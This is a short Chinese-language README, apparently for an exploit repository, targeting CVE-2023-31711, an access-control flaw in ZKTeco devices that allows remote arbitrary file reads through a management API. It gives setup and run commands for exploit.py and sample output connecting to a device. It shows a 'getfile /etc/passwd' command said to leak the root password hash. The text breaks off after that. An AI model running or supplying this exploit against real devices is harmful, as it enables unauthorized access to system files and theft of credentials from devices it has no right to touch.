CVE-2023-31711

CVE-2023-31711 ZKTECO 中的访问控制不当允许远程攻击者通过管理 API 读取任意文件。 安装所需模块 在 ZKTEco 目录中： $ pip install -r ./pyzatt/requirementsdev.txt 运行漏洞利用 在 ZKTEco 目录中： $ python exploit.py Connected to 10.0.2.25 Cmd getfile 示例： getfile /etc/passwd：泄露 root 密码的哈希 getfile...